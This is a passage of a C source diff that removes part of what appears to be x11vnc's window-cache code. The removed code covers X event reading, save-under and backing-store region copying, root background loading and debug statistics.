- n, k, win, w, h, x, y, attr.width, attr.height, attr.x, attr.y,
- cache_list[k].width, cache_list[k].height, cache_list[k].x, cache_list[k].y,
- attr.map_state == IsViewable, t1, t2, cache_list[k].create_cnt, cache_list[k].map_cnt);
- }
- }
- frac = area /(dpy_x * dpy_y);
- if (ncdb) fprintf(stderr, "block[%02d] %.3f %8d trak/val/inval: %d/%d/%d of %d\n", n, frac, (int) area, tcnt, vcnt, icnt, vcnt+icnt);
- }
-
- if (ncdb) fprintf(stderr, "\n");
- if (ncdb) fprintf(stderr, "block: trak/val/inval %d/%d/%d of %d\n", ttot, vtot, itot, vtot+itot);
-
- s1 = fr_REGION + fr_GRID + fr_EXPIRE + fr_FORCE + fr_BIG1 + fr_BIG2 + fr_FAIL;
- s2 = fr_REGIONt + fr_GRIDt + fr_EXPIREt + fr_FORCEt + fr_BIG1t + fr_BIG2t + fr_FAILt;
- if (ncdb) fprintf(stderr, "\n");
- if (ncdb) fprintf(stderr, "find_rect: REGION/GRID/EXPIRE/FORCE - BIG1/BIG2/FAIL %d/%d/%d/%d - %d/%d/%d of %d\n",
- fr_REGION, fr_GRID, fr_EXPIRE, fr_FORCE, fr_BIG1, fr_BIG2, fr_FAIL, s1);
- if (ncdb) fprintf(stderr, " totals: %d/%d/%d/%d - %d/%d/%d of %d\n",
- fr_REGIONt, fr_GRIDt, fr_EXPIREt, fr_FORCEt, fr_BIG1t, fr_BIG2t, fr_FAILt, s2);
-
- fr_BIG1 = 0;
- fr_BIG2 = 0;
- fr_REGION = 0;
- fr_GRID = 0;
- fr_EXPIRE = 0;
- fr_FORCE = 0;
- fr_FAIL = 0;
- if (ncdb) fprintf(stderr, "\n");
-}
-
-#define NSCHED 128
-Window sched_bs[NSCHED];
-double sched_tm[NSCHED];
-double last_sched_bs = 0.0;
-
-#define SCHED(w, v) \
-{ \
- int k, save = -1, empty = 1; \
- for (k=0; k < NSCHED; k++) { \
- if (sched_bs[k] == None) { \
- save = k; \
- } \
- if (sched_bs[k] == w) { \
- save = k; \
- empty = 0; \
- break; \
- } \
- } \
- if (save >= 0) { \
- sched_bs[save] = w; \
- if (empty) { \
- sched_tm[save] = dnow(); \
- if (v && ncdb) fprintf(stderr, "SCHED: %d %f\n", save, dnowx()); \
- } \
- } \
-}
-
-void xselectinput(Window w, unsigned long evmask, int sync) {
-#if NO_X11
- trapped_xerror = 0;
- trapped_xioerror = 0;
- if (!evmask) {}
-#else
- XErrorHandler old_handler1;
- XIOErrorHandler old_handler2;
-
- if (macosx_console || !dpy) {
- return;
- }
-
- old_handler1 = XSetErrorHandler(trap_xerror);
- old_handler2 = XSetIOErrorHandler(trap_xioerror);
- trapped_xerror = 0;
- trapped_xioerror = 0;
-
- XSelectInput(dpy, w, evmask);
-
- /*
- * We seem to need to synchronize right away since the window
- * might go away quickly.
- */
- if (sync) {
- XSync(dpy, False);
- } else {
- XFlush_wr(dpy);
- }
-
- XSetErrorHandler(old_handler1);
- XSetIOErrorHandler(old_handler2);
-#endif
-
- if (trapped_xerror) {
- if (ncdb) fprintf(stderr, "XSELECTINPUT: trapped X Error.");
- }
- if (trapped_xioerror) {
- if (ncdb) fprintf(stderr, "XSELECTINPUT: trapped XIO Error.");
- }
-if (sync && ncdb) fprintf(stderr, "XSELECTINPUT: 0x%lx sync=%d err=%d/%d\n", w, sync, trapped_xerror, trapped_xioerror);
-}
-
-Bool xcheckmaskevent(Display *d, long mask, XEvent *ev) {
-#ifdef MACOSX
- if (macosx_console) {
- if (macosx_checkevent(ev)) {
- return True;
- } else {
- return False;
- }
- }
-#endif
- RAWFB_RET(False);
-
-#if NO_X11
- if (!d || !mask) {}
- return False;
-#else
- return XCheckMaskEvent(d, mask, ev);
-#endif
-}
-
-#include <rfb/default8x16.h>
-
-#define EVMAX 2048
-XEvent Ev[EVMAX];
-int Ev_done[EVMAX];
-int Ev_order[EVMAX];
-int Ev_area[EVMAX];
-int Ev_tmp[EVMAX];
-int Ev_tmp2[EVMAX];
-Window Ev_tmpwin[EVMAX];
-Window Ev_win[EVMAX];
-Window Ev_map[EVMAX];
-Window Ev_unmap[EVMAX];
-sraRect Ev_rects[EVMAX];
-
-int tmp_stack[STACKMAX];
-sraRegionPtr tmp_reg[STACKMAX];
-
-#define CLEAN_OUT \
- for (i=0; i < n; i++) { \
- sraRgnDestroy(tmp_reg[i]); \
- } \
- if (r1) sraRgnDestroy(r1); \
- if (r0) sraRgnDestroy(r0);
-
-int try_to_fix_resize_su(Window orig_frame, int orig_x, int orig_y, int orig_w, int orig_h,
- int x, int y, int w, int h, int try_batch) {
-
- int idx = lookup_win_index(orig_frame);
- sraRegionPtr r0, r1, r2, r3;
- int sx1, sy1, sw1, sh1, dx, dy;
- int bx1, by1, bw1, bh1;
- int nr = 0, *nbat = NULL;
-
- if (idx < 0) {
- return 0;
- }
- if (cache_list[idx].bs_x < 0 || cache_list[idx].su_time == 0.0) {
- return 0;
- }
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- r1 = sraRgnCreateRect(orig_x, orig_y, orig_x+orig_w, orig_y+orig_h);
- r2 = sraRgnCreateRect(x, y, x+w, y+h);
-
- sraRgnAnd(r1, r0);
- sraRgnAnd(r2, r0);
-
- if (try_batch) {
- nbat = &nr;
- }
-
- if (orig_w >= w && orig_h >= h) {
-
-if (0) fprintf(stderr, "Shrinking resize %d %dx%d+%d+%d -> %dx%d+%d+%d\n", idx, orig_w, orig_h, orig_x, orig_y, w, h, x, y);
- r3 = sraRgnCreateRgn(r1);
- sraRgnSubtract(r3, r2);
-
- sx1 = cache_list[idx].su_x;
- sy1 = cache_list[idx].su_y;
- sw1 = cache_list[idx].su_w;
- sh1 = cache_list[idx].su_h;
-
- dx = orig_x - sx1;
- dy = orig_y - sy1;
-
- cache_cr(r3, dx, dy, 0.075, 0.05, nbat);
- sraRgnDestroy(r3);
-
- r3 = sraRgnCreateRgn(r1);
- sraRgnAnd(r3, r2);
-
- dx = sx1 - orig_x;
- dy = sy1 - orig_y;
- sraRgnOffset(r3, dx, dy);
-
- dx = orig_x - x;
- dy = orig_y - y;
- sraRgnOffset(r3, dx, dy);
-
- cache_cr(r3, dx, dy, 0.075, 0.05, nbat);
- sraRgnDestroy(r3);
-
- if (nr) {
- batch_push(nr, -1.0);
- }
-
- cache_list[idx].x = x;
- cache_list[idx].y = y;
- cache_list[idx].width = w;
- cache_list[idx].height = h;
-
- cache_list[idx].bs_w = w;
- cache_list[idx].bs_h = h;
- cache_list[idx].su_w = w;
- cache_list[idx].su_h = h;
-
- cache_list[idx].bs_time = 0.0;
- /* XXX Y */
- if (0) cache_list[idx].su_time = dnow();
- } else {
-if (0) fprintf(stderr, "Growing resize %d %dx%d+%d+%d -> %dx%d+%d+%d\n", idx, orig_w, orig_h, orig_x, orig_y, w, h, x, y);
-
- sx1 = cache_list[idx].su_x;
- sy1 = cache_list[idx].su_y;
- sw1 = cache_list[idx].su_w;
- sh1 = cache_list[idx].su_h;
-
- bx1 = cache_list[idx].bs_x;
- by1 = cache_list[idx].bs_y;
- bw1 = cache_list[idx].bs_w;
- bh1 = cache_list[idx].bs_h;
-
- if (find_rect(idx, x, y, w, h)) {
- r3 = sraRgnCreateRgn(r2);
- sraRgnAnd(r3, r1);
-
- dx = cache_list[idx].su_x - x;
- dy = cache_list[idx].su_y - y;
-
- sraRgnOffset(r3, dx, dy);
-
- dx = dx - (sx1 - orig_x);
- dy = dy - (sy1 - orig_y);
-
- cache_cr(r3, dx, dy, 0.075, 0.05, nbat);
- sraRgnDestroy(r3);
-
- r3 = sraRgnCreateRgn(r2);
- sraRgnSubtract(r3, r1);
-
- dx = cache_list[idx].su_x - x;
- dy = cache_list[idx].su_y - y;
-
- sraRgnOffset(r3, dx, dy);
-
- cache_cr(r3, dx, dy, 0.075, 0.05, nbat);
- sraRgnDestroy(r3);
-
- if (nr) {
- batch_push(nr, -1.0);
- }
-
- cache_list[idx].bs_time = 0.0;
- /* XXX Y */
- if (0) cache_list[idx].su_time = dnow();
- }
- }
-
- sraRgnDestroy(r0);
- sraRgnDestroy(r1);
- sraRgnDestroy(r2);
-
- return 1;
-}
-
-int try_to_fix_su(Window win, int idx, Window above, int *nbatch, char *mode) {
- int i, idx2, n = 0, found = 0, found_above = 0;
- sraRegionPtr r0, r1, r2;
- Window win2;
- int x, y, w, h, on = 0;
- int x0, y0, w0, h0;
- int x1, y1, w1, h1;
- int x2, y2, w2, h2;
- int unmapped = 0;
- int moved = 0;
-
-
- if (mode && !strcmp(mode, "unmapped")) {
- unmapped = 1;
- } else if (mode && !strcmp(mode, "moved")) {
- moved = 1;
- }
- if (idx < 0) {
- return 0;
- }
-if (ncdb) fprintf(stderr, "TRY_TO_FIX_SU(%d) 0x%lx 0x%lx was_unmapped=%d map_state=%s\n", idx, win, above, unmapped, MState(cache_list[idx].map_state));
-
- if (cache_list[idx].map_state != IsViewable && !unmapped) {
- return 0;
- }
- if (cache_list[idx].su_time == 0.0) {
- return 0;
- }
- if (cache_list[idx].bs_x < 0) {
- return 0;
- }
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- x = cache_list[idx].x;
- y = cache_list[idx].y;
- w = cache_list[idx].width;
- h = cache_list[idx].height;
-
- r1 = sraRgnCreateRect(x, y, x+w, y+h);
-
- sraRgnAnd(r1, r0);
-
- if (sraRgnEmpty(r1)) {
- CLEAN_OUT
- return 0;
- }
-
- if (unmapped) {
- on = 1;
- }
- if (above == 0x1) {
- on = 1;
- }
- for (i = old_stack_n - 1; i >= 0; i--) {
- win2 = old_stack[i];
- if (win2 == above) {
-if (0) fprintf(stderr, "0x%lx turn on: 0x%lx i=%d\n", win, win2, i);
- on = 1;
- found_above = 1;
- }
- if (win2 == win) {
-if (0) fprintf(stderr, "0x%lx turn off: 0x%lx i=%d\n", win, win2, i);
- found = 1;
- on = 0;
- break;
- }
- if (! on) {
- continue;
- }
- idx2 = lookup_win_index(win2);
- if (idx2 < 0) {
- continue;
- }
- if (cache_list[idx2].map_state != IsViewable) {
- continue;
- }
- if (cache_list[idx2].bs_x < 0) {
- continue;
- }
- /* XXX Invalidate? */
-
- x2 = cache_list[idx2].x;
- y2 = cache_list[idx2].y;
- w2 = cache_list[idx2].width;
- h2 = cache_list[idx2].height;
-
- r2 = sraRgnCreateRect(x2, y2, x2+w2, y2+h2);
- sraRgnAnd(r2, r0);
- if (! sraRgnAnd(r2, r1)) {
- sraRgnDestroy(r2);
- continue;
- }
-
- tmp_reg[n] = r2;
- tmp_stack[n++] = idx2;
- }
-
- if (! found) {
- CLEAN_OUT
- return 0;
- }
-
- for (i = n - 1; i >= 0; i--) {
- int i2;
- r2 = sraRgnCreateRgn(tmp_reg[i]);
- for (i2 = i + 1; i2 < n; i2++) {
- sraRgnSubtract(r2, tmp_reg[i2]);
- }
- idx2 = tmp_stack[i];
- if (!sraRgnEmpty(r2)) {
- int dx, dy;
- int dx2, dy2;
-
- x0 = cache_list[idx2].x;
- y0 = cache_list[idx2].y;
- w0 = cache_list[idx2].width;
- h0 = cache_list[idx2].height;
-
- x1 = cache_list[idx].su_x; /* SU -> SU */
- y1 = cache_list[idx].su_y;
- w1 = cache_list[idx].su_w;
- h1 = cache_list[idx].su_h;
-
- x2 = cache_list[idx2].su_x;
- y2 = cache_list[idx2].su_y;
- w2 = cache_list[idx2].su_w;
- h2 = cache_list[idx2].su_h;
-
- dx = x2 - x0;
- dy = y2 - y0;
- sraRgnOffset(r2, dx, dy);
-
- dx2 = x1 - x;
- dy2 = y1 - y;
- dx = dx - dx2;
- dy = dy - dy2;
- cache_cr(r2, dx, dy, save_delay0, save_delay1, nbatch);
- }
- sraRgnDestroy(r2);
- }
-
- if (unmapped) {
- CLEAN_OUT
- return found_above;
- }
-
- for (i = n - 1; i >= 0; i--) {
- r2 = sraRgnCreateRgn(tmp_reg[i]);
- idx2 = tmp_stack[i];
- if (!sraRgnEmpty(r2)) {
- int dx, dy;
- int dx2, dy2;
-
- x0 = cache_list[idx2].x;
- y0 = cache_list[idx2].y;
- w0 = cache_list[idx2].width;
- h0 = cache_list[idx2].height;
-
- x1 = cache_list[idx].su_x; /* BS -> SU */
- y1 = cache_list[idx].su_y;
- w1 = cache_list[idx].su_w;
- h1 = cache_list[idx].su_h;
-
- x2 = cache_list[idx2].bs_x;
- y2 = cache_list[idx2].bs_y;
- w2 = cache_list[idx2].bs_w;
- h2 = cache_list[idx2].bs_h;
-
- dx = x1 - x;
- dy = y1 - y;
- sraRgnOffset(r2, dx, dy);
-
- dx2 = x2 - x0;
- dy2 = y2 - y0;
- dx = dx - dx2;
- dy = dy - dy2;
- cache_cr(r2, dx, dy, save_delay0, save_delay1, nbatch);
- }
- sraRgnDestroy(r2);
- }
-
- CLEAN_OUT
- return found_above;
-}
-
-void idx_add_rgn(sraRegionPtr r, sraRegionPtr r0, int idx) {
- int x, y, w, h;
- sraRegionPtr rtmp;
-
- if (idx < 0) {
- return;
- }
- x = cache_list[idx].x;
- y = cache_list[idx].y;
- w = cache_list[idx].width;
- h = cache_list[idx].height;
-
- rtmp = sraRgnCreateRect(x, y, w, h);
- if (r0) {
- sraRgnAnd(rtmp, r0);
- }
- sraRgnOr(r, rtmp);
- sraRgnDestroy(rtmp);
-}
-
-sraRegionPtr idx_create_rgn(sraRegionPtr r0, int idx) {
- int x, y, w, h;
- sraRegionPtr rtmp;
-
- if (idx < 0) {
- return NULL;
- }
- x = cache_list[idx].x;
- y = cache_list[idx].y;
- w = cache_list[idx].width;
- h = cache_list[idx].height;
-
- rtmp = sraRgnCreateRect(x, y, w, h);
- if (r0) {
- sraRgnAnd(rtmp, r0);
- }
- return rtmp;
-}
-
-void scale_mark_xrootpmap(void) {
- char *dst_fb, *src_fb = main_fb;
- int dst_bpl, Bpp = bpp/8, fac = 1;
- int yn = (ncache+1) * dpy_y;
- int yfac = (ncache+2);
- int mark = 1;
-
- if (!scaling || !rfb_fb || rfb_fb == main_fb) {
- mark_rect_as_modified(0, yn, dpy_x, yn + dpy_y, 0);
- return;
- }
-
- if (cmap8to24 && cmap8to24_fb) {
- src_fb = cmap8to24_fb;
- if (scaling) {
- if (depth <= 8) {
- fac = 4;
- } else if (depth <= 16) {
- fac = 2;
- }
- }
- }
- dst_fb = rfb_fb;
- dst_bpl = rfb_bytes_per_line;
-
- scale_rect(scale_fac_x, scale_fac_y, scaling_blend, scaling_interpolate, fac * Bpp,
- src_fb, fac * main_bytes_per_line, dst_fb, dst_bpl, dpy_x, yfac * dpy_y,
- scaled_x, yfac * scaled_y, 0, yn, dpy_x, yn + dpy_y, mark);
-}
-
-void set_ncache_xrootpmap(void) {
- Atom pmap, type;
- int format;
- unsigned long length, after;
- XImage *image = NULL;
- XErrorHandler old_handler;
-
- RAWFB_RET_VOID
-#if !NO_X11
- if (!ncache) {
- return;
- }
- X_LOCK;
- old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
- pmap = XInternAtom(dpy, "_XROOTPMAP_ID", True);
-
- if (use_solid_bg) {
- image = solid_image(NULL);
- if (!quiet) {
- rfbLog("set_ncache_xrootpmap: solid_image\n");
- }
- } else if (pmap != None) {
- Pixmap pixmap = None;
- unsigned char *d_pmap;
-
- XGetWindowProperty(dpy, rootwin, pmap, 0L, 1L, False,
- AnyPropertyType, &type, &format, &length, &after, &d_pmap);
-
- if (length != 0) {
- pixmap = *((Pixmap *) d_pmap);
- if (pixmap != None) {
- image = XGetImage(dpy, pixmap, 0, 0, dpy_x, dpy_y, AllPlanes, ZPixmap);
- }
- }
- if (!quiet) {
- rfbLog("set_ncache_xrootpmap: loading background pixmap: 0x%lx\n", pixmap);
- }
- } else {
- if (!quiet) {
- rfbLog("set_ncache_xrootpmap: trying root background\n");
- }
- }
- if (image == NULL) {
- image = solid_root((char *) 0x1);
- }
- if (image != NULL) {
- char *src, *dst;
- int line;
- int pixelsize = bpp/8;
- int y1 = dpy_y * (ncache+1);
-
- src = image->data;
- dst = main_fb + y1 * main_bytes_per_line;
- line = 0;
- while (line++ < dpy_y) {
- memcpy(dst, src, dpy_x * pixelsize);
- src += image->bytes_per_line;
- dst += main_bytes_per_line;
- }
- XDestroyImage(image);
- X_UNLOCK;
- scale_mark_xrootpmap();
- X_LOCK;
- } else {
- int yn = (ncache+1) * dpy_y;
- zero_fb(0, yn, dpy_x, yn + dpy_y);
- }
- XSetErrorHandler(old_handler);
- X_UNLOCK;
-#endif
-}
-
-#define EVLISTMAX 256
-#define EV_RESET 0
-#define EV_CREATE 1
-#define EV_DESTROY 2
-#define EV_UNMAP 3
-#define EV_MAP 4
-#define EV_REPARENT 5
-#define EV_CONFIGURE 6
-#define EV_CONFIGURE_SIZE 7
-#define EV_CONFIGURE_POS 8
-#define EV_CONFIGURE_STACK 9
-#define EV_VISIBILITY_UNOBS 10
-#define EV_VISIBILITY_OBS 11
-#define EV_PROPERTY 12
-#define EV_OLD_WM_MAP 13
-#define EV_OLD_WM_UNMAP 14
-#define EV_OLD_WM_OFF 15
-#define EV_OLD_WM_NOTMAPPED 16
-Window _ev_list[EVLISTMAX];
-int _ev_case[EVLISTMAX];
-int _ev_list_cnt;
-
-int n_CN = 0, n_RN = 0, n_DN = 0, n_ON = 0, n_MN = 0, n_UN = 0;
-int n_VN = 0, n_VN_p = 0, n_VN_u = 0, n_ST = 0, n_PN = 0, n_DC = 0;
-int n_ON_sz = 0, n_ON_po = 0, n_ON_st = 0;
-
-int ev_store(Window win, int type) {
- if (type == EV_RESET) {
- n_CN = 0; n_RN = 0; n_DN = 0; n_ON = 0; n_MN = 0; n_UN = 0;
- n_VN = 0; n_VN_p = 0; n_VN_u = 0; n_ST = 0; n_PN = 0; n_DC = 0;
- n_ON_sz = 0; n_ON_po = 0; n_ON_st = 0;
- _ev_list_cnt = 0;
- return 1;
- }
- if (_ev_list_cnt >= EVLISTMAX) {
- return 0;
- }
- _ev_list[_ev_list_cnt] = win;
- _ev_case[_ev_list_cnt++] = type;
- return 1;
-}
-
-int ev_lookup(Window win, int type) {
- int i;
- for(i=0; i < _ev_list_cnt; i++) {
- if (_ev_list[i] == win && _ev_case[i] == type) {
- return 1;
- }
- }
- return 0;
-}
-
-unsigned long all_ev = SubstructureNotifyMask|StructureNotifyMask|VisibilityChangeMask;
-unsigned long win_ev = StructureNotifyMask|VisibilityChangeMask;
-
-void read_events(int *n_in) {
- int n = *n_in;
- Window win, win2;
- XEvent ev;
-
- while (xcheckmaskevent(dpy, all_ev, &Ev[n])) {
- int cfg_size = 0;
- int cfg_pos = 0;
- int cfg_stack = 0;
- int type = Ev[n].type;
- Window w = None;
-
- win = Ev[n].xany.window;
- Ev_done[n] = 0;
- Ev_area[n] = 0;
- Ev_win[n] = win;
- Ev_map[n] = None;
- Ev_unmap[n] = None;
- Ev_order[n] = n;
-
- ev = Ev[n];
-
- if (type == DestroyNotify) w = Ev[n].xcreatewindow.window;
- if (type == CreateNotify) w = Ev[n].xdestroywindow.window;
- if (type == ReparentNotify) w = Ev[n].xreparent.window;
- if (type == UnmapNotify) w = Ev[n].xunmap.window;
- if (type == MapNotify) w = Ev[n].xmap.window;
- if (type == Expose) w = Ev[n].xexpose.window;
- if (type == ConfigureNotify) w = Ev[n].xconfigure.window;
- if (type == VisibilityNotify) w = win;
- if (n == *n_in && ncdb) fprintf(stderr, "\n");
- if (1) {
- char *msg = "";
- int idx = -1, x = 0, y = 0, wd = 0, ht = 0;
- if (w != None) {
- idx = lookup_win_index(w);
- if (idx >= 0) {
- x = cache_list[idx].x;
- y = cache_list[idx].y;
- wd = cache_list[idx].width;
- ht = cache_list[idx].height;
- }
- }
- if (type == VisibilityNotify) {
- msg = VState(Ev[n].xvisibility.state);
- } else if (type == ConfigureNotify) {
- int x_new = Ev[n].xconfigure.x;
- int y_new = Ev[n].xconfigure.y;
- int w_new = Ev[n].xconfigure.width;
- int h_new = Ev[n].xconfigure.height;
- if (idx >= 0) {
- if (w_new != wd || h_new != ht) {
- msg = "change size";
- cfg_size = 1;
- }
- if (x_new != x || y_new != y) {
- if (!strcmp(msg, "")) {
- msg = "change position";
- }
- cfg_pos = 1;
- } else if (! cfg_size) {
- msg = "change stacking";
- cfg_stack = 1;
- }
- }
- }
-
- if (ncdb) fprintf(stderr, "----- %02d inputev 0x%08lx w: 0x%08lx %04dx%04d+%04d+%04d %s %s\n", n, win, w, wd, ht, x, y, Etype(type), msg);
- }
-
- if (win == rootwin) {
- if (type == CreateNotify) {
- win2 = ev.xcreatewindow.window;
- ev_store(win2, EV_CREATE);
- n++;
- n_CN++;
- } else if (type == ReparentNotify) {
- if (ev.xreparent.parent != rootwin) {
- win2 = ev.xreparent.window;
- if (win2 != rootwin) {
- ev_store(win2, EV_REPARENT);
- }
- }
- n++;
- n_RN++;
- } else if (type == PropertyNotify) {
- set_prop_atom(Ev[n].xproperty.atom);
- n++;
- n_PN++;
- } else if (type == MapNotify) {
- win2 = ev.xmap.window;
- ev_store(win2, EV_MAP);
- n++;
- n_CN++;
- } else {
- /* skip rest */
-#if 0
- Window w = None;
-if (type == DestroyNotify) w = Ev[n].xdestroywindow.window;
-if (type == UnmapNotify) w = Ev[n].xunmap.window;
-if (type == MapNotify) w = Ev[n].xmap.window;
-if (type == Expose) w = Ev[n].xexpose.window;
-if (type == ConfigureNotify) w = Ev[n].xconfigure.window;
-if (type != ConfigureNotify) fprintf(stderr, "root: skip %s for 0x%lx\n", Etype(type), w);
-#endif
-
- }
- } else {
- if (type == ReparentNotify) {
- ev_store(win, EV_REPARENT);
- n++;
- n_RN++;
- } else if (type == DestroyNotify) {
- ev_store(win, EV_DESTROY);
- n++;
- n_DN++;
- } else if (type == ConfigureNotify) {
- ev_store(win, EV_CONFIGURE);
- if (cfg_size) {
- ev_store(win, EV_CONFIGURE_SIZE);
- n_ON_sz++;
- }
- if (cfg_pos) {
- ev_store(win, EV_CONFIGURE_POS);
- n_ON_po++;
- }
- if (cfg_stack) {
- ev_store(win, EV_CONFIGURE_STACK);
- n_ON_st++;
- }
- n++;
- n_ON++;
- } else if (type == VisibilityNotify) {
- if (Ev[n].xvisibility.state == VisibilityUnobscured) {
- ev_store(win, EV_VISIBILITY_UNOBS);
- n_VN_u++;
- } else {
- ev_store(win, EV_VISIBILITY_OBS);
- n_VN_p++;
- }
- n++;
- n_VN++;
- } else if (type == MapNotify) {
- ev_store(win, EV_MAP);
- Ev_map[n] = win;
- n++;
- n_MN++;
- } else if (type == UnmapNotify) {
- ev_store(win, EV_UNMAP);
- Ev_unmap[n] = win;
- n++;
- n_UN++;
- } else {
- /* skip rest */
-if (ncdb) fprintf(stderr, "----- skip %s\n", Etype(type));
- }
- }
- if (n >= EVMAX) {
- break;
- }
- }
- *n_in = n;
-}
-
-int try_to_synthesize_su(int force, int urgent, int *nbatch) {
- int i, idx, idx2, n = 0;
- sraRegionPtr r0, r1, r2;
- Window win = None;
- int x0, y0, w0, h0;
- int x1, y1, w1, h1;
- int x2, y2, w2, h2;
- int x3, y3, w3, h3;
- XWindowAttributes attr;
-
- r0 = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
-
- snap_old();
-
- X_LOCK;
- for (i = old_stack_n - 1; i >= 0; i--) {
- win = old_stack[i];
- if (urgent) { /* XXX Y resp */
- if (!valid_window(win, &attr, 1)) {
- continue;
- }
- idx = lookup_win_index(win);
- if (idx >= 0) {
- STORE(idx, win, attr);
- }
- } else {
- idx = lookup_win_index(win);
- if (idx >= 0) {
- attr.map_state = cache_list[idx].map_state;
- attr.x = cache_list[idx].x;
- attr.y = cache_list[idx].y;
- attr.width = cache_list[idx].width;
- attr.height = cache_list[idx].height;
- } else {
- attr.map_state = IsUnmapped;
- attr.x = 0;
- attr.y = 0;
- attr.width = 0;
- attr.height = 0;
- }
-
- }
- if (attr.map_state != IsViewable) {
- continue;
- }
-if (0) fprintf(stderr, "win: 0x%lx %d idx=%d\n", win, i, idx);
-
- x2 = attr.x;
- y2 = attr.y;
- w2 = attr.width;
- h2 = attr.height;
-
- r2 = sraRgnCreateRect(x2, y2, x2+w2, y2+h2);
- sraRgnAnd(r2, r0);
-
- tmp_reg[n] = r2;
- tmp_stack[n++] = idx;
- }
- X_UNLOCK;
-
- if (! n) {
- r1 = NULL;
- CLEAN_OUT
- return 0;
- }
-
- for (i = 0; i < n; i++) {
- int i2, cnt = 0;
- idx = tmp_stack[i];
- if (idx < 0 || cache_list[idx].bs_x < 0) {
- continue;
- }
- r1 = tmp_reg[i];
- if (r1 == NULL || sraRgnEmpty(r1)) {
- continue;
- }
- if (cache_list[idx].su_time > 0.0) {
- if (force) {
-if (ncdb) fprintf(stderr, "forcing synth: 0x%lx %d\n", cache_list[idx].win, idx);
- } else {
- continue;
- }
- }
- if (ncache_xrootpmap) {
- int dx, dy;
-
- x0 = cache_list[idx].x;
- y0 = cache_list[idx].y;
- w0 = cache_list[idx].width;
- h0 = cache_list[idx].height;
-
- x1 = cache_list[idx].su_x;
- y1 = cache_list[idx].su_y;
- w1 = cache_list[idx].su_w;
- h1 = cache_list[idx].su_h;
-
- r2 = sraRgnCreateRgn(tmp_reg[i]);
- dx = x1 - x0;
- dy = y1 - y0;
-
- sraRgnOffset(r2, dx, dy);
-
- x2 = x0;
- y2 = y0 + (ncache+1) * dpy_y;
-
- dx = x1 - x2;
- dy = y1 - y2;
- cache_cr(r2, dx, dy, save_delay0, save_delay1, nbatch);
- cnt++;
-
- sraRgnDestroy(r2);
- }
-
- for (i2 = n - 1; i2 > i; i2--) {
- r2 = sraRgnCreateRgn(tmp_reg[i2]);
- if (sraRgnAnd(r2, r1)) {
- int dx, dy;
- int dx2, dy2;
-
- idx2 = tmp_stack[i2];
- /* XXX Y */
- if (idx2 < 0 || cache_list[idx2].bs_x < 0 || cache_list[idx2].bs_time == 0.0) {
- continue;
- }
-
- x0 = cache_list[idx].x;
- y0 = cache_list[idx].y;
- w0 = cache_list[idx].width;
- h0 = cache_list[idx].height;
-
- x1 = cache_list[idx].su_x;
- y1 = cache_list[idx].su_y;
- w1 = cache_list[idx].su_w;
- h1 = cache_list[idx].su_h;
-
- x2 = cache_list[idx2].x;
- y2 = cache_list[idx2].y;
- w2 = cache_list[idx2].width;
- h2 = cache_list[idx2].height;
-
- x3 = cache_list[idx2].bs_x;
- y3 = cache_list[idx2].bs_y;
- w3 = cache_list[idx2].bs_w;
- h3 = cache_list[idx2].bs_h;
-
- dx = x1 - x0;
- dy = y1 - y0;
- sraRgnOffset(r2, dx, dy);
-
- dx2 = x3 - x2;
- dy2 = y3 - y2;
- dx = dx - dx2;
- dy = dy - dy2;
- cache_cr(r2, dx, dy, save_delay0, save_delay1, nbatch);
- cnt++;
- }
- sraRgnDestroy(r2);
- }
- if (cnt) {
- cache_list[idx].su_time = dnow();
- }
-if (ncdb) fprintf(stderr, " try_to_synth_su: 0x%lx %d idx=%d cnt=%d\n", win, i, idx, cnt);
- }
-
- r1 = NULL;
- CLEAN_OUT
- return 1;
-}
-
-static double last_vis_unobs_time = 0.0;
-static double last_vis_obs_time = 0.0;
-
-static int saw_desktop_change = 0;
-
-void check_sched(int try_batch, int *did_sched) {
- static double last_root = 0.0;
- static double last_pixmap = 0.0;
- double refresh = 60.0;
- int i, k, valid;
- Window win;
- XWindowAttributes attr;
- double now = dnow();
-
- if (now > last_root + refresh) {
-
-if (ncdb) fprintf(stderr, "\n**** checking cache_list[%d]\n\n", cache_list_num);
- block_stats();
-
- for(k=0; k<cache_list_num; k++) {
- valid = 0;
- win = cache_list[k].win;
- X_LOCK;
- if (win == None) {
- ;
- } else if (cache_list[k].selectinput && cache_list[k].time > now - refresh) {
- valid = 1;
- } else if (valid_window(win, &attr, 1)) {
- STORE(k, win, attr);
- if (! cache_list[k].selectinput) {
- xselectinput(win, win_ev, 0);
- CLEAR(k);
- cache_list[k].selectinput = 1;
- }
- valid = 1;
- } else {
-if (ncdb) fprintf(stderr, "DELETE(%d) %dx%d+%d+%d\n", k, cache_list[k].width, cache_list[k].height, cache_list[k].x, cache_list[k].y);
- DELETE(k);
- }
- X_UNLOCK;
-/* XXX Y */
- if (valid) {
- if (cache_list[k].create_cnt && cache_list[k].map_state != IsViewable && cache_list[k].map_cnt == 0) {
- if (cache_list[k].bs_x >= 0) {
-if (ncdb) fprintf(stderr, "Created window never mapped: freeing(%d) 0x%lx\n", k, win);
- free_rect(k);
- }
- }
- }
- }
- last_root = dnow();
- }
-
- if (now > last_sched_bs + 0.30) {
- static double last_sched_vis = 0.0;
- int nr = 0, *bat = NULL;
-
- if (try_batch) {
- bat = &nr;
- }
- if (now < last_wireframe + 2.0) {
- for (i=0; i < NSCHED; i++) {
- sched_bs[i] = None;
- }
- }
- if (now < last_get_wm_frame_time + 1.0) {
- if (last_get_wm_frame != None) {
- int idx = lookup_win_index(last_get_wm_frame);
- if (idx >= 0) {
- if (cache_list[idx].bs_x < 0) {
- int x = cache_list[idx].x;
- int y = cache_list[idx].y;
- int w = cache_list[idx].width;
- int h = cache_list[idx].height;
- if (find_rect(idx, x, y, w, h)) {
- SCHED(last_get_wm_frame, 1);
- }
- }
- }
- }
- }
-
- for (i=0; i < NSCHED; i++) {
- if (sched_bs[i] != None) {
- int idx;
- win = sched_bs[i];
- if (now < sched_tm[i] + 0.55) {
- continue;
- }
- if (n_MN || n_UN || n_ST || n_DC) {
- sched_tm[i] = now;
- continue;
- }
- idx = lookup_win_index(win);
- if (idx >= 0) {
- int aw = cache_list[idx].width;
- int ah = cache_list[idx].height;
- if (cache_list[idx].map_state != IsViewable) {
- ;
- } else if (cache_list[idx].vis_state != VisibilityUnobscured) {
- ;
- } else if (aw * ah < 64 * 64) {
- ;
- } else {
